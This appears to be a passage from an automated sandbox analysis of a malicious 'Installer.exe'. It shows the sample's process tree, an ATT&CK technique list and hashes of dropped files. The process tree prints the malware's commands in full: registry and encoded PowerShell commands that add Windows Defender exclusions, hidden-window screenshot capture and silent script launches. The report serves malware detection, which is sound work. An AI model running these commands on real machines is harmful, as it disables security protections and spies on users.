    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:3900
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "net session"
    3⤵
    PID:5012
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:5448
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:1916
- - C:\Users\Admin\AppData\Local\Temp\3GJHzBuxT91YFV7k11L4uwaFNOs\Installer.exe
    "C:\Users\Admin\AppData\Local\Temp\3GJHzBuxT91YFV7k11L4uwaFNOs\Installer.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --mojo-platform-channel-handle=2196 --field-trial-handle=1748,i,15943415224328381782,8116949586592108061,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:3
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:2448
- - C:\Users\Admin\AppData\Local\Temp\3GJHzBuxT91YFV7k11L4uwaFNOs\Installer.exe
    "C:\Users\Admin\AppData\Local\Temp\3GJHzBuxT91YFV7k11L4uwaFNOs\Installer.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --app-path="C:\Users\Admin\AppData\Local\Temp\3GJHzBuxT91YFV7k11L4uwaFNOs\resources\app" --enable-sandbox --no-sandbox --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --mojo-platform-channel-handle=2356 --field-trial-handle=1748,i,15943415224328381782,8116949586592108061,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:1
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Loads dropped DLL
    PID:3328
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783897226682.png\"); $g.Dispose(); $bmp.Dispose()""
    3⤵
    - Hide Artifacts: Hidden Window
    PID:5452
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783897226682.png\"); $g.Dispose(); $bmp.Dispose()"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:5528
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "net session"
    3⤵
    PID:3844
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:5912
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:5648
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\wmi_e0e878f7.vbs""
    3⤵
    PID:6008
  - - C:\Windows\system32\wscript.exe
      wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\wmi_e0e878f7.vbs"
      4⤵
      PID:5920
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\3GJHzBuxT91YFV7k11L4uwaFNOs\Installer.exe" /t REG_DWORD /d 0 /f"
    3⤵
    PID:5800
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\3GJHzBuxT91YFV7k11L4uwaFNOs\Installer.exe" /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:5376
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\3GJHzBuxT91YFV7k11L4uwaFNOs\Installer.exe" /t REG_DWORD /d 0 /f"
    3⤵
    PID:1744
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\3GJHzBuxT91YFV7k11L4uwaFNOs\Installer.exe" /t REG_DWORD /d 0 /f
      4⤵
      PID:2892
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783897219821" /t REG_DWORD /d 0 /f"
    3⤵
    PID:716
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783897219821" /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:2000
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783897219821" /t REG_DWORD /d 0 /f"
    3⤵
    PID:1104
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783897219821" /t REG_DWORD /d 0 /f
      4⤵
      PID:4108
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache" /t REG_DWORD /d 0 /f"
    3⤵
    PID:5932
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache" /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:2548
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache" /t REG_DWORD /d 0 /f"
    3⤵
    PID:6108
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache" /t REG_DWORD /d 0 /f
      4⤵
      PID:3636
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783897219821\payload.exe" /t REG_DWORD /d 0 /f"
    3⤵
    PID:5188
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783897219821\payload.exe" /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:4120
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783897219821\payload.exe" /t REG_DWORD /d 0 /f"
    3⤵
    PID:2092
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783897219821\payload.exe" /t REG_DWORD /d 0 /f
      4⤵
      PID:2088
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".exe" /t REG_DWORD /d 0 /f"
    3⤵
    PID:2388
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".exe" /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:5832
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".tmp" /t REG_DWORD /d 0 /f"
    3⤵
    PID:4352
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".tmp" /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:4184
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "payload.exe" /t REG_DWORD /d 0 /f"
    3⤵
    PID:1496
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "payload.exe" /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:4744
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAAzAEcASgBIAHoAQgB1AHgAVAA5ADEAWQBGAFYANwBrADEAMQBMADQAdQB3AGEARgBOAE8AcwBcAEkAbgBzAHQAYQBsAGwAZQByAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFMAZQB0AHUAcABcAGMAYQBjAGgAZQBcADEANwA4ADMAOAA5ADcAMgAxADkAOAAyADEAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFMAZQB0AHUAcABcAGMAYQBjAGgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAUwBlAHQAdQBwAFwAYwBhAGMAaABlAFwAMQA3ADgAMwA4ADkANwAyADEAOQA4ADIAMQBcAHAAYQB5AGwAbwBhAGQALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAEUAeAB0AGUAbgBzAGkAbwBuACAAJwAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIAAnAC4AdABtAHAAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAJwBwAGEAeQBsAG8AYQBkAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAA=="
    3⤵
    PID:4528
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAAzAEcASgBIAHoAQgB1AHgAVAA5ADEAWQBGAFYANwBrADEAMQBMADQAdQB3AGEARgBOAE8AcwBcAEkAbgBzAHQAYQBsAGwAZQByAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFMAZQB0AHUAcABcAGMAYQBjAGgAZQBcADEANwA4ADMAOAA5ADcAMgAxADkAOAAyADEAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFMAZQB0AHUAcABcAGMAYQBjAGgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAUwBlAHQAdQBwAFwAYwBhAGMAaABlAFwAMQA3ADgAMwA4ADkANwAyADEAOQA4ADIAMQBcAHAAYQB5AGwAbwBhAGQALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAEUAeAB0AGUAbgBzAGkAbwBuACAAJwAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIAAnAC4AdABtAHAAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAJwBwAGEAeQBsAG8AYQBkAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAA==
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5740
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783897228010.png\"); $g.Dispose(); $bmp.Dispose()""
    3⤵
    - Hide Artifacts: Hidden Window
    PID:5552
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783897228010.png\"); $g.Dispose(); $bmp.Dispose()"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:3816

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

File/Path Exclusions

T1564.012

Hidden Window

T1564.003

Ignore Process Interrupts

T1564.011

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

CrashpadMetrics-active.pma

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\CrashpadMetrics-active.pma
Size 1024KB
SHA256 080a7f369011b5088bf4e2b749fc343a3ae062d86972cee9023a9c135bdc9ffc
MD5 2b7122381b11345b68626bc7790e13c8
SHA1 2807fecfd300646779eb04fda063db0f995284d5
SHA512 4d45e1fae303701e463d1bc4d2899070c51d8c33502097eaf3d53ae2481f4415d1f5d45a4b2a4deca45894dd7f42eb2a81e7eba01c41dba6c0a86a127a0d0632
SSDEEP 12:bHCsEXhVMMBKEKSCemJKlkQyYVhYJ0I+pFBsyW1in:biPROMMBS+MkIYWIaBtX
TLSH
T1BE252786630855EFC54288B189AE136023B4F9E95F52079B3E2DBB1F2E271C94F45164
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat
Size 40B
SHA256 131cb0cf679a10f045013270835e4de781b34c78270213c37dc24187cf1565b3
MD5 e292935ac9e378fc4f32548af2aec77b
SHA1 74557a2b04e23eca0ba595201fc8e4adcee4b67e
SHA512 822b0c7104de4230c8f658520c52bac1ebe7e1fa42627e2498a6c93c5107617e2fe2d62dbf201c565f0c325fea9c0e0562f4fed4527d6b636f901ce875f9310a
MD5 SHA1 SHA512

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
Size 414B
SHA256 807e0639b3f08b06f60a3f08b1d51d3d2b9ec56b41cce587bca76734fd599908
MD5 5cafb0438e37073bd3738cf7c38ad167
SHA1 3dacce30e057c51e06134a2df4af737571467901
SHA512 c374ee6716e8d2152eca63eb9e798cbd4818a93db2edb90ce684b8bd800eedad0274846bbcb4c8ada36f80fa82bef61418dbf1da75e0f31d75ced25a7e56bdd0
TLSH
T187E02BAEC8329D3728FC4B2950540647EB0513672741456F3F3C920C8FB027A41C9D6C
MD5 SHA1 SHA512 TLSH

Submit Download

data_0

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\data_0
Size 44KB
SHA256 d16f9e801fd7f9c0b96ab11fe26f0c898297a32081b09ca9c9fa5e97c9bb95eb
MD5 4d136c6ae9530fdb9bb81555bcd39961
SHA1 2f314201539b3f3539cab3f70cecc19e45b90378
SHA512 440fe316d7f65067a3287c0c90fa36c8a749f311e02b7cdb89a05629e71218018fe105f5710e698cbeb2eec04615b4fc6f980fd30aebf2b11d32f7006b06457b
SSDEEP 24:dFaSg5u+EdALbyTnPN/QGR87K71vFOfGluq12k2Tl/KlA4:YvLbqNQGR8e7dFOfzfTl/KlA4
TLSH
T1CD139CBFD00A4DC8C5C1347C894787B073B3BABAD92745A378F17109AA1E724094E25C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\data_1
Size 264KB
SHA256 cd82a8ab3742e590a76dd90b41d11632bd73f07c928e1d7ec7cdf066d52a6292
MD5 a59e9cb5ed8eeb25742cf5b7c0ffffe8
SHA1 218b0199d845989d917d19a22576891b79a59ba7
SHA512 3fa42fd739ad596959c74bde9bcaa96617294662f68414644af6cf0873324de814646a92a6093c6b8891af6798c5094376acfb2b5c76326c381af489ca264c47
SSDEEP 192:oenbnRmrBSclKeh9+/JPoeHX2PSdKe9Vdw6:oen8SFeh9+/J3GKdKe9Vdw
TLSH
T1854411FF9D58AAA0E71443F72402B53ED933542A6CE69DF4E73900A9FC967EA3361014
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data_2

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\data_2
Size 1.0MB
SHA256 bb3082729b795703d26ec74ec625cedf8a71e77ae1014ea8d413155a12474834
MD5 91aba16aa504e44b9724027cf96b9e8c
SHA1 b40ce9763511beec321b4368b306af212475197c
SHA512 b9341cbabef81c39c4ef7061a80ee3023c26ed5abd55eca0e5eacc1f65a794710e90e95b12862002bce1312701b3c3db9fd584467e05d35dcc26f4a02286d66d
SSDEEP 1536:XEUyLEY2/ER9P0KWbb1pIER+E26ZULwnbasgEbE:biljvg
TLSH
T114252BCF4B686AC6C7A2E9B4BDC0DC2D7EB811859FC6A0431243C97924C77C95E5361E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data_3

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\data_3
Size 4.0MB
SHA256 e7c02422ccaaed43e4fa3ad5b581b630e646881fb1964566a0e339437616dab3
MD5 1124cd7c9a286f405370466b1feb0c03
SHA1 a343b5649cfa2fe70177d78d533071a5d438b4f0
SHA512 c7818b2dbf950c7f5958278098ec644dddcfc1c7bc97dd39b7834c559b6d86158c175d73851f8499796bbf2f9274efba981fc0f48b081a4f034adc19fac17453
SSDEEP 3072:nxg4Fl6s1Dsqu1uSSLSquw8tKlsVau6Aoaw1NX:nxg4Fl6GDmU/Gxw8tRVanvz
TLSH
T19A169F970F24E842E5819A70B6CBEDFD3D703E91A85E48C2A1D27E6B39E17C51B4704E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_000019

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000019
Size 373KB
SHA256 a5c27d3298042314d98634f85836ab0c48cbdf572ee676981a852c3e18738d8e
MD5 7eb1501498252ec1a30118a2d3917c94
SHA1 b275a098ab3e050e2b4ac71eac10c238c2365c45
SHA512 8f5831b6bfeaea74aba0d23b684687e0a308f51f1528859535c9df335367b946b6be42500ce637e77baff40795bbf152e24abcfcee227c6d9d0e490412e09d26
SSDEEP 6144:bBJYkBiu4su2hIklCVm8ZiLHBd0R+2jBLX47rD+CNOgtU28xNAoWclJ/lo31jjuQ:bfWV22kvnBSw2FLIPDVNfN8nWclJ/Md9
TLSH
T100842306FA0DD6F4A7A40DDD2990A3E04D1372444CFC4A347B8523B9DDE3AEF4A159AE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 144B
SHA256 a2d771ab6837126a92037e4ee9feee8bfd9deb3e20359344af1d7193ee56f22c
MD5 4ae99b8cf12b009d40ba85c28a4143e1
SHA1 bf726de4f0782f0e3c9d499fdbe346161ceb4ad0
SHA512 9dadd8185f42dee0548e35b6b282c95ed2055ff4829cd068edb70fed78476faab96c2ab49c02b30ad451a8a9a7100ae395bd7983a64297803ef3eec20fd717ab
TLSH
T1CBC09254E1844001CB9296F1D6C2F9B533264C3082171FB68AC01E7444BE3E58E0811B
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 552B
SHA256 e8b63adf670288f995d2abb9ced2cc0e38d4336071d73086f53e3e3aacf51c1b
MD5 f2455fe7e89f25b5b14ecd8f403f748e
SHA1 5778e079f5225854cc5c541b7d249f2d3821a886
SHA512 fac495daeefa971a5140a66a95769eddf0fe7b348c5327f886c9c950e1c8daaa65ca899abd8c79a0947b0db46b0dccd0a9dbcbfb609f2a543f4c1a6ff923da94
TLSH
T147F0E511D5C73372CFD208F185C2BD607638F936C6531E2694A5657350277D09B441CA
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 1KB
SHA256 4c906174e197340bd6be559470bdb56d4dd4205aa37240ec078354f84c0087ff
MD5 185152f5c18d1d3a4e12299607ac4262
SHA1 9a368be250893361467a102805d1126007f676e1
SHA512 adacbd76509f0833bd8f256b25e196898a475a15c18db573b326c4f0c1032f9056574f95453295d535b2e8166ec133255aff3bc60e3d3e0f9a157b2304894ba4
TLSH
T13221DC5BC1C2E370CBD1D5F0B8C2AAE07238E872D51F0D32AB98653205B27F097941CA
MD5 SHA1 SHA512 TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extension State\LOG
Size 320B
SHA256 090312fe39392ccbfb6c9111eb51e300d2d8dde2d99efdc9575691252f44e30b
MD5 d94afc4debed7c9be447af168cb4c101
